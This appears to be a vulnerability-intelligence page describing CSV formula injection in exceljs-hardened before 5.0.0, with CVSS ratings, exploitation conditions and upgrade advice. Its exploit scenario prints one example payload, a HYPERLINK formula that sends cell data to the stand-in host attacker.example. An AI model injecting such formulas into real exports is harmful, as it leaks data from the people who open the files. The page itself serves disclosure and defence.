EUVD-2026-64684
GHSA-4w2g-jrqm-g99q
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network delivery with no auth or complexity needed; user must open CSV (UI:R); scope changes to spreadsheet app executing the formula (S:C); high confidentiality, low integrity impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
exceljs-hardened versions before 5.0.0 fail to neutralize leading equals, plus, minus, or at signs in cell values written to CSV output. Attackers who can influence exported cell values can inject formulas that execute when the CSV file is opened in a spreadsheet application, potentially exfiltrating data or performing other malicious actions.
AnalysisAI
CSV formula injection in exceljs-hardened before version 5.0.0 allows attackers who can influence exported cell values to embed spreadsheet formulas in generated CSV output by supplying values beginning with =, +, -, or @. When a victim opens the resulting CSV in a spreadsheet application such as Microsoft Excel or LibreOffice Calc, injected formulas execute in the spreadsheet context, enabling data exfiltration or unauthorized actions within that application. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Two conditions must hold simultaneously: (1) the attacker must control at least one string value that will be written into a CSV export by the application - achievable through any data-submission vector the application exposes (web form fields, API payloads, file imports, or database records the attacker can influence); and (2) a human victim must open the generated CSV file in a spreadsheet application that auto-executes formulas on open, such as Microsoft Excel (with macros or DDE enabled) or LibreOffice Calc. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N) reflects a remotely reachable attack with no complexity or privilege prerequisites from the library's perspective, though passive user interaction (UI:P - opening the CSV) is required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker submits a crafted input - for example, a name field containing `=HYPERLINK("http://attacker.example/exfil?d="&A1,"View Report")` - to any form or API endpoint whose data is later exported via exceljs-hardened. An administrator or end-user downloads the resulting CSV and opens it in Microsoft Excel or LibreOffice Calc, at which point the spreadsheet application executes the formula, silently sending cell contents to the attacker's server. … |
| Remediation | Upgrade exceljs-hardened to version 5.0.0 or later, which introduces proper neutralization of leading formula-trigger characters (=, +, -, @) in CSV cell values, as documented in the security advisory at https://github.com/mateocallec/exceljs-hardened/security/advisories/GHSA-9wxc-4rhw-hfrw. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all systems and applications using exceljs-hardened, prioritizing those generating CSV exports from user or external data sources, and document current versions and deployment scope. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
An unescaped payload in exceljs <v1.6 allows a possible XSS via cell value when worksheet is displayed in browser. Rated
Prototype pollution in exceljs-hardened before 5.0.0 lets a remote attacker corrupt Object.prototype by feeding parsed J
Path traversal in exceljs-hardened before 5.0.0 allows unauthenticated attackers to read arbitrary files from the server
Unbounded xlsx decompression in exceljs-hardened before 5.0.0 allows unauthenticated remote attackers to exhaust server
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today